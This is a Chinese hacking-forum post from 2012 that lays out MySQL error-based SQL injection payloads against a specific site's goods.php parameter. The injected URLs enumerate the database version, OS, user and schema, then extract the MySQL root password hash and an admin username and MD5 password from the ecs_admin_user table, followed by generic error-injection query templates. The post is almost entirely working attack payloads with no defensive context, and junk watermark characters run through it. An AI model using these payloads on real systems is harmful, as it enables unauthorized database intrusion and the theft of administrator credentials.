找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2249|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
判断版本号 6 I% a8 H- w" v0 _6 `" L
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 v* o; g2 n+ |- S$ o' t
: A: [- K, B4 a  F4 `) D" [5 y" L
判断系统
4 Y( `  [; r. b
: ^3 [- X8 k1 @* [. }# w2 v. k! Rhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ V, i$ O9 W3 ~
! x) Q0 s+ M9 O/ u7 Z
& |8 ~  |; {* B+ e, f3 ?+ @6 Q, g! m7 w, o% u6 z+ f
当前 user()# r$ a7 J" v. z) k. v8 T4 |

' l5 z/ q+ Y, {( ]; ?http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%233 G* u' S! `/ q9 S
0 Q8 n  D2 d9 b' @- t6 M
! d$ E9 v+ g0 G0 X7 i2 c6 h
" g0 ~" f& ^9 O4 L
当前 database()
$ U/ [5 ^- F2 Ihttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 R% y, r& I4 e( v3 {9 h) e. T3 W" E, ]) e. n2 n. @
& e# D0 g# s/ B8 f: y3 G

) O4 Q) x/ N% S6 X, }  I$ H2 F
root hash5 k% J0 p* ^5 n

" C5 h, {4 X* d% Q* Xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 T6 Y+ k2 \' E/ S
; ^1 P" T' W! q* O5 a6 ?. q7 v8 {
% v5 p! P& s; G3 u: W
' k' o* d( d8 x$ P1 J
当前 数据库表名% C2 k  O4 h3 ^5 e. \/ F! P) x0 ^1 H
7 p! \: V& u8 Q4 c# ^
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' \" V# b; x" X& Y6 Y
( ?# ]5 O: }  \+ }) x' _0 r6 I

3 p1 H  b# _, [4 P' ?( I; M- @: ?1 }$ M
当前 数据库 user_name 字段
; B  @- `& x# B* f  ~. N* [7 P* L  A: C4 \$ s! R+ Y  T& d
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" Q: J; R" _* m- t& y

( m6 O" W/ I6 ?$ z& O+ f" C; K1 a- {当前 数据库 字段 password
. t1 B+ P' ^3 @# x' Q9 z( y2 S) }http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
7 L0 ^  s1 g, L( o" o; L) o1 I0 u3 U5 U0 J
: ]0 l7 p+ R/ ^" y1 A

1 {! F8 q6 v" L获得 admin passwd(md5)
- ^2 i. i* K. P
, Q. D8 J7 p0 g: w  u
6 I/ O  L1 e) A9 f9 M& f  Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 ^: h3 U# ^5 [% N

4 L3 _  r! Q( }5 K; }! P报错注射
. s% o2 Y8 I4 @& p6 ?# E% D( E! O; dSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)1 B, o6 h2 X0 O  p$ `1 K( }

6 T7 w- n% {$ R$ TSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
: j! T3 C$ J* D
5 Q$ ]1 q6 a+ R2 xand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表